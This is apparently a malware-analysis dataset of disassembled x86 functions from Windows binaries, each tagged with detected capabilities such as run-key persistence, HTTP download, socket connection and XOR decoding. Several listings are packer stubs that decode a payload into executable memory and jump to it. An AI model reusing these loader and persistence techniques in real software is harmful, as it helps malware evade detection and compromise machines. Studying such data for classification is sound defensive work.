joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4076b8
Capabilities:
Clear file content

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffe8
mov edi, 0x40d0c0
lea ebp, [esp + 4]
mov esi, 0x40e588
mov dword [esi], 0x409
mov word [esi + 4], 9
mov word [esi + 6], 1
mov byte [esi + 8], 0
call sub.KERNEL32.DLL_InitializeCriticalSection
test eax, eax
je 0x4076ee
mov dword [esi], eax
test ax, ax
je 0x407708
mov edx, eax
and dx, 0x3ff
mov word [esi + 4], dx
movzx eax, ax
shr eax, 0xa
mov word [esi + 6], ax
push 0x2a
call sub.KERNEL32.DLL_SetEndOfFile
test eax, eax
setne bl
mov byte [esi + 8], bl
test bl, bl
je 0x40775b
push ebp
push 0
call sub.KERNEL32.DLL_MultiByteToWideChar
xor esi, esi
jmp 0x40774c
mov al, byte [ebp + esi + 6]
mov bl, byte [ebp + esi + 7]
sub bl, al
jb 0x407749
inc ebx
mov byte [esp], al
mov al, byte [esp]
and eax, 0xff
bts dword [edi], eax
inc byte [esp]
dec bl
jne 0x407737
add esi, 2
cmp esi, 0xc
jge 0x40775b
mov al, byte [ebp + esi + 6]
or al, byte [ebp + esi + 7]
jne 0x407727
add esp, 0x18
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x408b6c
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffe4
mov esi, eax
mov edi, esp
mov ebp, 0x40d284
mov eax, dword [ebp]
mov ebx, dword [eax + 8]
dec ebx
cmp ebx, 0
jl 0x408bb4
push 0x1c
push edi
mov edx, ebx
mov eax, dword [ebp]
call fcn.00408cf4
push eax
call sub.KERNEL32.DLL_TlsGetValue
test esi, esi
je 0x408ba4
cmp esi, dword [edi + 4]
jne 0x408bae
mov edx, ebx
mov eax, dword [ebp]
call fcn.00408c38
dec ebx
cmp ebx, 0xffffffff
jne 0x408b88
mov eax, dword [0x40d288]
mov edx, dword [eax]
call dword [edx + 0x14]
mov ebx, eax
dec ebx
cmp ebx, 0
jl 0x408bf6
push 0x1c
push edi
mov edx, ebx
mov eax, dword [0x40d288]
mov ecx, dword [eax]
call dword [ecx + 0x18]
push eax
call sub.KERNEL32.DLL_TlsGetValue
test esi, esi
je 0x408be4
cmp esi, dword [edi + 4]
jne 0x408bf0
mov edx, ebx
mov eax, dword [0x40d288]
mov ecx, dword [eax]
call dword [ecx + 0x44]
dec ebx
cmp ebx, 0xffffffff
jne 0x408bc6
add esp, 0x1c
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x40aeb4
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0xc], ebx
mov byte [ebp - 1], cl
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push 0x40afe2
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
mov edx, ebx
call fcn.004032d8
mov eax, dword [ebp - 0xc]
call fcn.0040ada8
mov ebx, eax
test bl, bl
jne 0x40af00
lea eax, [ebp - 0xc]
mov ecx, 1
mov edx, 1
call fcn.004036dc
xor eax, eax
mov dword [ebp - 8], eax
cmp byte [ebp - 1], 0
je 0x40af11
cmp dword [ebp - 0xc], 0
jne 0x40af63
lea eax, [ebp - 8]
push eax
push 0xf003f
push 0
mov eax, dword [ebp - 0xc]
call fcn.0040365c
push eax
mov edx, ebx
mov eax, esi
call fcn.0040aea0
push eax
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x40af5b
lea eax, [ebp - 8]
push eax
push 0x20019
push 0
mov eax, dword [ebp - 0xc]
call fcn.0040365c
push eax
mov edx, ebx
mov eax, esi
call fcn.0040aea0
push eax
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
sete byte [ebp - 2]
jmp 0x40af96
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
mov eax, dword [ebp - 0xc]
call fcn.0040365c
push eax
mov edx, ebx
mov eax, esi
call fcn.0040aea0
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
sete byte [ebp - 2]
cmp byte [ebp - 2], 0
je 0x40afcc
cmp dword [esi + 4], 0
setne al
test al, bl
je 0x40afbf
push dword [esi + 0x10]
push 0x40affc
push dword [ebp - 0xc]
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00403558
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
mov eax, esi
call fcn.0040ae7c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40afe9
lea eax, [ebp - 0xc]
call fcn.00403240
ret

Function at 0x40b274
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040364c
xor eax, eax
push ebp
push 0x40b2cf
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.0040b1ac
mov ebx, eax
test ebx, ebx
jne 0x40b2b9
mov eax, dword [ebp - 4]
call fcn.0040365c
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x40b2b9
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ebx, dword [eax]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b2d6
lea eax, [ebp - 4]
call fcn.00403240
ret
Function at 0x40b374
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040364c
xor eax, eax
push ebp
push 0x40b401
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40b3eb
lea eax, [ebp - 0x14]
xor ecx, ecx
mov edx, 0x10
call fcn.00402798
mov word [ebp - 0x14], 2
mov eax, esi
xchg al, ah
mov word [ebp - 0x12], ax
mov eax, dword [ebp - 4]
call fcn.0040b274
mov dword [ebp - 0x10], eax
push 0x10
lea eax, [ebp - 0x14]
push eax
push ebx
call sub.wsock32.dll_connect
test eax, eax
je 0x40b3eb
mov eax, ebx
call fcn.0040b490
or ebx, 0xffffffff
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b408
lea eax, [ebp - 4]
call fcn.00403240
ret

Function at 0x40b62c
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffaa4
push ebx
push esi
push edi
mov edi, edx
mov esi, eax
lea ebx, [ebp - 0x10]
push 0
push 0
push 0
push 0
mov eax, dword [0x40f790]
call fcn.0040365c
push eax
call sub.wininet.dll_InternetOpenA
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x40b723
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 0
push 0
mov eax, esi
call fcn.0040365c
push eax
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetOpenUrlA
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x40b705
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, edi
lea eax, [ebp - 0x55c]
call fcn.00404356
mov edx, 1
lea eax, [ebp - 0x55c]
call fcn.00404798
push ebx
push 0x400
lea eax, [ebp - 0x410]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.wininet.dll_InternetReadFile
push 0
lea edx, [ebp - 0x410]
mov ecx, dword [ebx]
lea eax, [ebp - 0x55c]
call fcn.0040445c
cmp dword [ebx], 0
jne 0x40b6af
lea eax, [ebp - 0x55c]
call fcn.004044c0
mov byte [ebp - 1], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b70c
mov eax, dword [ebp - 0xc]
push eax
call sub.wininet.dll_InternetCloseHandle
ret
Function at 0x40b7c4
Capabilities:
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
xor edx, edx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040364c
mov ebx, 0x40f5bc
xor eax, eax
push ebp
push 0x40b8aa
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, 0x40b8c0
mov eax, ebx
call fcn.00404356
mov eax, ebx
call fcn.00404672
mov edx, 0x40b8d0
mov eax, ebx
call fcn.004037d0
call fcn.00404883
lea eax, [ebp - 8]
mov ecx, dword [ebp - 4]
mov edx, 0x40b8e0
call fcn.004034e4
mov edx, dword [ebp - 8]
mov eax, ebx
call fcn.004037d0
call fcn.00404883
push 0x40b8f0
push dword [ebp - 4]
push 0x40b904
lea eax, [ebp - 8]
mov edx, 3
call fcn.00403558
mov edx, dword [ebp - 8]
mov eax, ebx
call fcn.004037d0
call fcn.00404883
mov edx, 0x40b91c
mov eax, ebx
call fcn.004037d0
call fcn.00404883
mov edx, 0x40b930
mov eax, ebx
call fcn.004037d0
call fcn.00404883
mov eax, ebx
call fcn.004044c0
push 0
push 0x40b938
call sub.KERNEL32.DLL_TlsSetValue
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b8b1
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403264
ret

Function at 0x40bc6c
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
push ebx
xor eax, eax
push ebp
push 0x40bcd7
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x40ad4c]
call fcn.0040adbc
mov ebx, eax
mov edx, 0x80000002
mov eax, ebx
call fcn.0040ae50
mov byte [ebx + 0xc], 0
xor ecx, ecx
mov edx, 0x40bcec
mov eax, ebx
call fcn.0040aeb4
mov ecx, 0x40bd24
mov edx, 0x40bd3c
mov eax, ebx
call fcn.0040b000
mov eax, ebx
call fcn.0040ae20
mov eax, ebx
call fcn.00402a64
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40bcde
ret
Function at 0x40bd48
Capabilities:
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef8
push ebx
xor eax, eax
mov dword [ebp - 0x104], eax
mov dword [ebp - 0x108], eax
xor eax, eax
push ebp
push 0x40beac
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x2710
call sub.KERNEL32.DLL_LocalAlloc
xor ebx, ebx
push 0xff
lea eax, [ebp - 0x100]
push eax
call sub.KERNEL32.DLL_LeaveCriticalSection
lea eax, [ebp - 0x104]
lea edx, [ebp - 0x100]
mov ecx, 0x100
call fcn.0040346c
mov eax, dword [ebp - 0x104]
mov edx, dword [0x40f78c]
call fcn.00403724
test eax, eax
je 0x40bdcb
mov eax, dword [0x40f790]
mov edx, 0x40bec4
call fcn.004035a8
je 0x40be8e
push 0
lea eax, [ebp - 0x104]
lea edx, [ebp - 0x100]
mov ecx, 0x100
call fcn.0040346c
lea eax, [ebp - 0x104]
mov edx, 0x40bedc
call fcn.004034a0
mov eax, dword [ebp - 0x104]
call fcn.0040365c
push eax
lea edx, [ebp - 0x108]
xor eax, eax
call fcn.004026e0
mov eax, dword [ebp - 0x108]
call fcn.0040365c
push eax
call sub.KERNEL32.DLL_GetLastError
test eax, eax
je 0x40be7f
call fcn.0040bc6c
mov eax, dword [0x40f788]
push eax
call sub.KERNEL32.DLL_FreeLibrary
mov eax, dword [0x40f790]
call fcn.0040b7c4
push 0
lea eax, [ebp - 0x104]
lea edx, [ebp - 0x100]
mov ecx, 0x100
call fcn.0040346c
lea eax, [ebp - 0x104]
mov edx, 0x40bedc
call fcn.004034a0
mov eax, dword [ebp - 0x104]
call fcn.0040365c
push eax
call sub.KERNEL32.DLL_TlsSetValue
xor eax, eax
call fcn.00403228
mov bl, 1
jmp 0x40be8e
mov eax, 0x40f5b0
mov edx, 0x40bef4
call fcn.004034a0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40beb3
lea eax, [ebp - 0x108]
mov edx, 2
call fcn.00403264
ret
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x40287f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x40288e
pop dword [ebp - 0x40]
mov eax, 0xc63c6bbd
sub eax, 0xc5fc432f
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0xe388c560
sub dword [ebp - 0x50], 0x95368015
mov dword [ebp - 0x4c], 0xd8d56117
add dword [ebp - 0x4c], 0x595deb2e
mov dword [ebp - 0x48], 0xd5698d64
add dword [ebp - 0x48], 0x76e2b6ca
mov dword [ebp - 0x44], 0xbffab600
add dword [ebp - 0x44], 0x40054a00
lea eax, [ebp - 0x50]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0xa50fade
add dword [ebp - 0x50], 0x6a216e78
mov dword [ebp - 0x4c], 0x5e55fc39
sub dword [ebp - 0x4c], 0x1ce99ac4
mov dword [ebp - 0x48], 0xe55f0099
add dword [ebp - 0x48], 0x7e106bd3
mov dword [ebp - 0x44], 0x58f28a32
add dword [ebp - 0x44], 0xa70d75ce
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, 0x4562dc24
sub eax, 0x45226b7c
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x3b186
push 0
call eax
mov ecx, 0xf6048f1e
sub ecx, 0xf604351f
xor ebx, ebx
add ebx, eax
mov esi, 0x410000
add esi, dword [ebp - 0x40]
mov edi, 0xc247bd06
xor dword [ebp - 0x1c], ebx
mov edx, dword [esi]
sub dword [ebp - 8], 0x5566b021
sub edx, edi
sub dword [ebp - 0x14], 0x37875968
mov dword [ebx], edx
sub dword [ebp - 0x10], ebx
add ebx, 0xa53013a7
sub ebx, 0xa53013a3
add esi, 0x76e01ddd
sub esi, 0x76e01dd9
loop 0x4029a1
add eax, 0x1e4000c5
add eax, 0xe1c15a0a
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x429004]
jne 0x40100a
repz ret
jmp fcn.0040151b

Function at 0x4067a7
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x429004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00403d19
and dword [ebp - 0x14], 0
cmp dword [0x42df40], 0
mov dword [ebp - 0x18], eax
jne 0x40685a
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x406902
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x406902
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x42df40], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x42df44], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x42df48], eax
call edi
push eax
call esi
mov dword [0x42df50], eax
test eax, eax
je 0x40685a
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x42df4c], eax
mov eax, dword [0x42df4c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4068b3
cmp dword [0x42df50], ecx
je 0x4068b3
push eax
call esi
push dword [0x42df50]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4068b3
test ebx, ebx
je 0x4068b3
call edi
test eax, eax
je 0x4068aa
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4068aa
test byte [ebp - 8], 1
jne 0x4068b3
or dword [ebp + 0x10], 0x200000
jmp 0x4068e6
mov eax, dword [0x42df44]
cmp eax, dword [ebp - 0x18]
je 0x4068e6
push eax
call esi
test eax, eax
je 0x4068e6
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4068e6
mov eax, dword [0x42df48]
cmp eax, dword [ebp - 0x18]
je 0x4068e6
push eax
call esi
test eax, eax
je 0x4068e6
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x42df40]
call esi
test eax, eax
je 0x406902
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x406904
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401000
leave
ret
Function at 0x420880
Capabilities:
Get geographical location

Disassembly:
sub esp, 0x408
mov eax, dword [0x429004]
xor eax, esp
mov dword [esp + 0x404], eax
cmp dword [0x22d0f84], 0xfc7
jne 0x4208af
push 0
lea eax, [esp + 8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, dword [0x42e464]
imul eax, eax, 0x343fd
cmp dword [0x22d0f84], 0x139e
mov dword [0x42e464], eax
jne 0x4208de
mov ecx, dword [esp]
push 0
push 0
push ecx
call dword [sym.imp.ADVAPI32.dll_GetAce]
mov eax, dword [0x42e464]
add eax, 0x269ec3
push esi
mov dword [0x42e464], eax
movzx esi, word [0x42e466]
and esi, 0x7fff
cmp dword [0x22d0f84], 0x8e7
jne 0x420913
push 0
lea edx, [esp + 0xc]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
mov ecx, dword [esp + 0x408]
mov eax, esi
pop esi
xor ecx, esp
call fcn.00401000
add esp, 0x408
ret

Function at 0x4209e0
Capabilities:
Create pipe

Disassembly:
mov eax, dword [0x429ec0]
sub esp, 0x14
push ebx
mov ebx, dword [0x22d09f0]
push edi
mov edi, dword [0x22d0f84]
call fcn.00420930
cmp dword [0x22d0f84], 0x2f
jne 0x420a3a
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
lea eax, [esp + 8]
push eax
lea ecx, [esp + 0x14]
push ecx
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
call fcn.00420960
pop edi
pop ebx
add esp, 0x14
ret
Function at 0x420cf0
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x810
mov eax, dword [0x429004]
xor eax, ebp
mov dword [ebp - 8], eax
mov dword [ebp - 4], 0
jmp 0x420d15
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cdq
mov dword [ebp - 0x810], eax
mov dword [ebp - 0x80c], edx
cmp dword [ebp - 0x80c], 7
jg 0x420db6
jl 0x420d40
cmp dword [ebp - 0x810], 0x6eff8b22
jae 0x420db6
cmp dword [0x22d0f84], 0xa5f
jne 0x420d56
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp dword [ebp - 4], 0x84526b
jne 0x420d7f
mov ecx, dword [0x42cdb0]
mov dword [0x22d0f84], ecx
mov edx, dword [0x22d0f84]
add edx, 0xa231
mov dword [0x22d0f84], edx
jmp 0x420db6
cmp dword [0x22d0f84], 0x141
jne 0x420db1
push str.jisaxivemuvanacucoxoxobo_necogoduhutevepipojomaji_kadesezimini_joretevigusopibiyigibiga_wemakihumovuyo
lea eax, [ebp - 0x808]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov dword [0x42e468], 0xec58acac
mov dword [0x42e46c], 0xffffffff
jmp 0x420d0c
call fcn.00420a50
jmp dword [0x22d09f0]
Function at 0x401244
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
push ebx
push edi
push esi
push eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov edi, dword [eax + 0xc]
add edi, 0xc
xor eax, eax
mov esi, 0x71d6cd17
mov edi, dword [edi]
mov ebp, 0x203fe453
test bl, 1
mov ecx, 0xdd7f750d
cmovne ecx, esi
cmp ebp, 0x2509cfe5
jg 0x401293
cmp ebp, 0x8e295a25
je 0x4012ad
cmp ebp, 0xdd7f750d
je 0x401301
cmp ebp, 0x203fe453
jne 0x401271
jmp 0x4012b1
cmp ebp, 0x2509cfe6
je 0x40125f
cmp ebp, 0x49bfe559
je 0x4012c6
cmp ebp, 0x71d6cd17
jne 0x401271
jmp 0x4012d8
mov ebp, ecx
jmp 0x401271
cmp dword [edi + 0x18], 0
mov ebp, 0x49bfe559
mov ecx, 0x8e295a25
cmove ebp, ecx
xor ebx, ebx
jmp 0x401266
test eax, eax
sete byte [esp + 3]
mov ebp, 0x8e295a25
mov bl, byte [esp + 3]
jmp 0x401266
mov ebp, 0x2509cfe6
push dword [esp + 0x28]
push dword [esp + 0x28]
push dword [esp + 0x28]
push dword [esp + 0x28]
push dword [edi + 0x18]
push dword [esp + 0x2c]
call fcn.00405782
add esp, 0x18
jmp 0x401266
add esp, 4
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404369

Function at 0x4025e7
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x40f530
call fcn.00403770
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x4024e7
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x4024e7
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x4024e7
cmp dword [eax + 0x400074], 0xe
jbe 0x4024e7
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x4024eb
and dword [ebp - 0x1c], 0
push 1
call fcn.004082e9
pop ecx
test eax, eax
jne 0x4024ff
push 0x1c
call fcn.004082e9
pop ecx
call fcn.00405287
test eax, eax
jne 0x402510
push 0x10
call fcn.004082e9
pop ecx
call fcn.00405952
and dword [ebp - 4], 0
call fcn.004032ff
test eax, eax
jge 0x40252a
push 0x1b
call fcn.004082e9
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x412ba0], eax
call fcn.004082e9
mov dword [0x41203c], eax
call fcn.004082e9
test eax, eax
jge 0x402550
push 8
call fcn.004082e9
pop ecx
call fcn.00405fde
test eax, eax
jge 0x402561
push 9
call fcn.004082e9
pop ecx
push 1
call fcn.004082e9
pop ecx
test eax, eax
je 0x402574
push eax
call fcn.004082e9
pop ecx
mov eax, dword [0x412018]
mov dword [0x41201c], eax
push eax
push dword [0x412010]
push dword [0x41200c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4025a2
push eax
call fcn.004082e9
call fcn.00402400
jmp 0x4025d7
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.004037b5
ret
call fcn.004082e9
jmp 0x402495

Function at 0x4082e9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x4082f8
pop dword [ebp - 0x44]
mov eax, 0x99452be5
add eax, 0x66fb5713
sub dword [ebp - 0x44], eax
push 0x40
push 0x1000
push 0x36ba6
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x44]
call dword [eax]
mov ecx, 0x3dfd
mov edi, eax
mov edx, 0x413bc4
add edx, dword [ebp - 0x44]
mov esi, 0xc05f4c7e
sub esi, 0xebf844d3
sub dword [ebp - 0x3c], ebx
mov ebx, dword [edx]
xor ebx, esi
add dword [ebp - 0x28], 0x9a950e8c
mov dword [edi], ebx
add dword [ebp - 0x28], 0xc535c412
add edi, 0xce1d0b34
add edi, 0x31e2f4d0
add edx, 0x79a16198
sub edx, 0x79a16194
loop 0x408346
add eax, 0xeac7
xor ebx, ebx
add ebx, eax
add eax, 0xa2683b2
sub eax, 0xa2683ad
mov ecx, 0xdd412350
sub ecx, 0xdd012350
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x40287f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x40288e
pop dword [ebp - 0x40]
mov eax, 0xc5cc0f9f
add eax, 0x3a7418ef
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0x18c33c98
add dword [ebp - 0x50], 0x358f08b3
mov dword [ebp - 0x4c], 0xf15171b4
sub dword [ebp - 0x4c], 0xbf1e256f
mov dword [ebp - 0x48], 0x946e51b4
sub dword [ebp - 0x48], 0x48220d86
mov dword [ebp - 0x44], 0x74a12819
add dword [ebp - 0x44], 0x8b5ed7e7
lea eax, [ebp - 0x50]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0x15d757e8
sub dword [ebp - 0x50], 0xa164ee92
mov dword [ebp - 0x4c], 0xfd806472
add dword [ebp - 0x4c], 0x43ebfd03
mov dword [ebp - 0x48], 0x1abce57c
sub dword [ebp - 0x48], 0xb74d7910
mov dword [ebp - 0x44], 0xdd89887
sub dword [ebp - 0x44], 0xdd89887
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x3617a
push 0
call eax
mov ecx, 0xdd4bf436
add ecx, 0x22b451c6
mov edi, eax
mov ebx, 0x410000
add ebx, dword [ebp - 0x40]
mov esi, 0x816e780c
mov dword [ebp - 0x3c], 0x419c5781
mov edx, dword [ebx]
xor dword [ebp - 8], 0xe12ea599
add edx, esi
add dword [ebp - 8], ecx
mov dword [edi], edx
add dword [ebp - 0x24], esi
add edi, 4
add ebx, 0xf9c2cbdc
add ebx, 0x63d3428
loop 0x40299a
add eax, 0x90035090
sub eax, 0x900245cd
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x2b4607ee
sub ecx, 0x2b0607ee
add ecx, dword [ebp - 0x40]
call ebx
leave
ret